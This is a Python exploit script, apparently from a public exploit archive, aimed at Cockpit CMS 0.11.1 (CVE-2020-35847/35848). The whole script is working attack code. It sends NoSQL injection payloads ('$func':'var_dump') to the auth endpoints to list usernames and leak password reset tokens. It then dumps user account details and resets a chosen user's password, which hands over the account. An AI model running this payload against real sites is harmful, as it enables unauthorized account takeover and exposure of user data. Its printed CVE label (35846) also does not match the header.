Cockpit CMS 0.11.1 NoSQL Injection

`# Exploit Title: Cockpit CMS 0.11.1 - 'Username Enumeration & Password Reset' NoSQL Injection   
# Date: 06-08-2021  
# Exploit Author: Brian Ombongi  
# Vendor Homepage: https://getcockpit.com/  
# Version: Cockpit 0.11.1  
# Tested on: Ubuntu 16.04.7  
# CVE : CVE-2020-35847 & CVE-2020-35848  
  
#!/usr/bin/python3  
import json  
import re  
import requests  
import random  
import string  
import argparse  
  
  
def usage():  
guide = 'python3 exploit.py -u <target_url> '  
return guide  
  
def arguments():  
parse = argparse.ArgumentParser(usage=usage())  
parse.add_argument('-u', dest='url', help='Site URL e.g http://cockpit.local', type=str, required=True)  
return parse.parse_args()  
  
def test_connection(url):  
try:  
get = requests.get(url)  
if get.status_code == 200:  
print(f"[+] {url}: is reachable")  
else:  
print(f"{url}: is Not reachable, status_code: {get.status_code}")  
except requests.exceptions.RequestException as e:  
raise SystemExit(f"{url}: is Not reachable \nErr: {e}")  
  
  
def enumerate_users(url):  
print("[-] Attempting Username Enumeration (CVE-2020-35846) : \n")  
url = url + "/auth/requestreset"  
headers = {  
"Content-Type": "application/json"  
}  
data= {"user":{"$func":"var_dump"}}  
req = requests.post(url, data=json.dumps(data), headers=headers)  
pattern=re.compile(r'string\(\d{1,2}\)\s*"([\w-]+)"', re.I)  
matches = pattern.findall(req.content.decode('utf-8'))  
if matches:  
print ("[+] Users Found : " + str(matches))  
return matches  
else:  
print("No users found")  
  
def check_user(usernames):  
user = input("\n[-] Get user details For : ")  
if user not in usernames:  
print("User does not exist...Exiting")  
exit()  
else:  
return user  
  
  
def reset_tokens(url):  
print("[+] Finding Password reset tokens")  
url = url + "/auth/resetpassword"  
headers = {  
"Content-Type": "application/json"  
}  
data= {"token":{"$func":"var_dump"}}  
req = requests.post(url, data=json.dumps(data), headers=headers)  
pattern=re.compile(r'string\(\d{1,2}\)\s*"([\w-]+)"', re.I)  
matches = pattern.findall(req.content.decode('utf-8'))  
if matches:  
print ("\t Tokens Found : " + str(matches))  
return matches  
else:  
print("No tokens found, ")  
  
  
def user_details(url, token):  
print("[+] Obtaining user information ")  
url = url + "/auth/newpassword"  
headers = {  
"Content-Type": "application/json"  
}  
userAndtoken = {}  
for t in token:  
data= {"token":t}  
req = requests.post(url, data=json.dumps(data), headers=headers)  
pattern=re.compile(r'(this.user\s*=)([^;]+)', re.I)  
matches = pattern.finditer(req.content.decode('utf-8'))  
for match in matches:  
matches = json.loads(match.group(2))  
if matches:  
print ("-----------------Details--------------------")  
for key, value in matches.items():  
  
print("\t", "[*]", key ,":", value)   
else:  
print("No user information found.")  
user = matches['user']  
token = matches['_reset_token']  
userAndtoken[user] = token  
print("--------------------------------------------")  
continue  
return userAndtoken  
  
def password_reset(url, token, user):  
print("[-] Attempting to reset %s's password:" %user)  
characters = string.ascii_letters + string.digits + string.punctuation   
password = ''.join(random.choice(characters) for i in range(10))  
url = url + "/auth/resetpassword"  
headers = {  
"Content-Type": "application/json"  
}  
data= {"token":token, "password":password}  
req = requests.post(url, data=json.dumps(data), headers=headers)  
if "success" in req.content.decode('utf-8'):  
print("[+] Password Updated Succesfully!")  
print("[+] The New credentials for %s is: \n \t Username : %s \n \t Password : %s" % (user, user, password))  
  
def generate_token(url, user):  
url = url + "/auth/requestreset"  
headers = {  
"Content-Type": "application/json"  
}  
data= {"user":user}  
req = requests.post(url, data=json.dumps(data), headers=headers)  
  
def confirm_prompt(question: str) -> bool:  
reply = None  
while reply not in ("", "y", "n"):  
reply = input(f"{question} (Y/n): ").lower()  
if reply == "y":  
return True  
elif reply == "n":  
return False  
else:  
return True  
  
def pw_reset_trigger(details, user, url):  
for key in details:  
if key == user:  
password_reset(url, details[key], key)  
else:  
continue  
  
  
  
if __name__ == '__main__':  
args = arguments()  
url = args.url  
test_connection(url)  
user = check_user(enumerate_users(url))  
generate_token(url, user)  
tokens = reset_tokens(url)  
details = user_details(url, tokens)  
print("\n")  
b = confirm_prompt("[+] Do you want to reset the passowrd for %s?" %user)  
if b:  
pw_reset_trigger(details, user, url)  
else:  
print("Exiting..")  
exit()  
  
`